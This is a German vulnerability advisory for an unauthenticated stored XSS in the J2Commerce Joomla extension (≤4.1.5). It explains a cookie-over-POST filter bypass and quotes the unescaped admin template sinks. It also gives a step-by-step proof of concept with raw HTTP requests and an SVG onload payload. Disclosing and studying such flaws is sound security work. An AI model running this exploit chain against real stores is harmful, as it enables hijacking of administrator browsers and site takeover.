
Stored XSS im Gast-Checkout von J2Commerce durch Cookie-Filter-Bypass
J2Commerce (com_j2store) ≤ 4.1.5 — Nicht authentifizierter Angreifer speichert XSS-Payload, der beim Laden der Seite automatisch im Administrator-Browser ausgeführt wird
J2Commerce 4.1.5 ist anfällig für Stored Cross-Site Scripting (XSS) über die Rechnungsadressfelder des Gast-Checkouts. Ein nicht authentifizierter Angreifer nutzt einen Filter-Bypass in Joomlas Input::getArray() in Kombination mit PHP variables_order=EGPCS (Cookie überschreibt POST in $_REQUEST), um unbereinigtes HTML in Feldern wie billing_first_name zu speichern. Diese Felder werden direkt im Administrator-Bestellverwaltungsbereich ohne ausgegeben, wodurch der Payload im Browser des Administrators ausgeführt wird.
htmlspecialchars()Der XSS-Payload feuert automatisch beim Laden der Seite, wenn der Administrator zur Bestellübersicht navigiert – kein Klick auf eine einzelne Bestellung ist erforderlich. Eine einzige HTTP-Anforderungskette (in den Warenkorb legen → Checkout mit Cookie-Bypass absenden → Bestellung aufgeben) speichert den Payload dauerhaft, der in jedem Administrator-Browser ausgeführt wird, bis die Bestellung gelöscht oder die Schwachstelle gepatcht ist.
Der Angriff erfordert keine Authentifizierung durch den Angreifer. Der Gast-Checkout ist eine Standardfunktion, die bei E-Commerce-Websites üblicherweise aktiviert ist, und bietet Administratoren einen wirtschaftlichen Anreiz, neue Bestellungen anzusehen – was die Ausnutzung trivial automatisiert werden kann.
| KOMPONENTE | VERWUNDBAR | GETESTET AUF | BEHOBEN |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | 4.1.5 auf Joomla 5.4.7 + MySQL 8.0 | 3.3.21 / 4.0.21 / 4.1.6 |
Typ: Cross-Site Scripting – Gespeichert (CWE-79)
Erforderliche Authentifizierung: Keine – nicht authentifiziert (Gast-Checkout)
Primäre Senke: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
Schreibpfad: components/com_j2store/controllers/checkouts.php:535
Die Schwachstelle besteht aus zwei sich verstärkenden Schwächen: einem Eingabe-Filter-Bypass am Schreibpfad und fehlender Ausgabekodierung am Lesepfad.
1. Eingabe-Filter-Bypass – Missbrauch von Joomla Input::getArray()
Der Gast-Checkout-Controller von J2Commerce liest Adressfelder mit $app->input->getArray($_POST). Joomlas Implementierung iteriert über das $_POST-Array und verwendet jeden Wert als Filtertyp (nicht als Daten), während der tatsächliche Wert aus $_REQUEST gelesen wird:
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 – SCHREIBPFAD
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP – GETARRAY()-METHODE (ZEILE 187)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP – DATENQUELLE (ZEILE 97)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. PHP variables_order – Cookie überschreibt POST in $_REQUEST
$_REQUEST von PHP ist eine zusammengeführte Superglobale, die aus $_GET, $_POST und $_COOKIE besteht. Wenn variables_order=EGPCS (die für die meisten PHP-Umgebungen einkompilierte Standardeinstellung) gilt, wird Cookie (C) nach POST (P) aufgeführt, sodass Cookie bei widersprüchlichen Schlüsseln gewinnt.
Das Senden von first_name=RAW im POST-Body bewirkt, dass InputFilter::clean() von Joomla den Filtertyp 'Raw' (No-op) auf den Cookie-Wert first_name=<svg...> anwendet, der in $_REQUEST gewinnt.
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP – CLEAN()-METHODE (ZEILE 215)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
Endergebnis: Der POST-Body first_name=RAW setzt den Filter auf einen No-op. Der Cookie first_name=<svg onload="alert(document.domain)"> gewinnt in $_REQUEST. Joomla gibt den Cookie-Wert ungefiltert zurück. J2Commerce speichert ihn roh in j2store_orderinfos.billing_first_name.
3. Fehlende Ausgabekodierung – Senken in Admin-Templates
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 – PRIMÄRE SENKE (wird beim Laden der Listenseite ausgelöst)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 – SEKUNDÄRE SENKE
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
Dieser Bypass funktioniert in allen PHP-Umgebungen außer Debian/Ubuntu (das explizit request_order = "GP" setzt und Cookies aus $_REQUEST ausschließt). Alle anderen gängigen Hosting-Umgebungen – cPanel/Plesk-Shared-Hosting, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS – fallen auf EGPCS zurück, wodurch die Cookie-Überschreibung ohne Konfigurationsänderungen standardmäßig aktiv ist.
Öffnen Sie die J2Commerce-Bestellübersicht als Opfer-Administrator. Dies bestätigt, dass der Administrator das Panel aktiv verwendet und beim nächsten Besuch auf den Payload trifft.

Senden Sie als nicht authentifizierter Angreifer eine GET-Anforderung an die J2Commerce-Startseite des Frontends, um eine Sitzung aufzubauen und das in den JSON-Optionen der Seite eingebettete CSRF-Token zu extrahieren. Dieses Token wird für nachfolgende POST-Anforderungen benötigt.

Legen Sie ein Produkt in den Warenkorb des Angreifers. Der Warenkorb darf nicht leer sein, damit der Gast-Checkout-Endpunkt die Adressübermittlung akzeptiert.
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

Senden Sie das Adressformular des Gast-Checkouts mit zwei widersprüchlichen Werten für first_name ab:
first_name=RAW – Joomla interpretiert dies als Filtertyp (No-op)first_name=<svg...> – dieser gewinnt in $_REQUEST (PHP EGPCS: Cookie > POST) und wird ungefiltert zurückgegebenPOST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

Senden Sie den Schritt der Versandadresse mit demselben Cookie-Bypass ab. Dieser Schritt setzt das Versandland in der Sitzung – wenn Sie ihn überspringen, führt dies in späteren Schritten zu einem "SHIPPING_ADDRESS_NOT_FOUND"-Fehler.

Wählen Sie die Zahlungsmethode (Nachnahme). Das Feld payment_plugin ist keine Texteingabe, die für XSS anfällig ist.
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

Senden Sie den Bestätigungsschritt ab, um die Bestellübersichtsseite mit einem versteckten hash-Feld zu erhalten. Dieser Hash ist erforderlich, um die Bestellung abzuschließen.
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

Schließen Sie die Bestellung mit dem Hash aus dem vorherigen Schritt ab. Der Server erstellt den Bestellungsdatensatz in joom_j2store_orderinfos, wobei billing_first_name auf den rohen XSS-Payload gesetzt ist.
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

Navigieren Sie als Opfer-Administrator zur J2Commerce-Bestellübersicht. Der XSS-Payload feuert sofort beim Laden der Seite – kein Klick erforderlich. Das Template default_items.php:73 rendert billing_first_name unescaped in der Spalte „Kunde“.
Wenn der Administrator die Bestellung ansieht, enthält die Serverantwort:
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
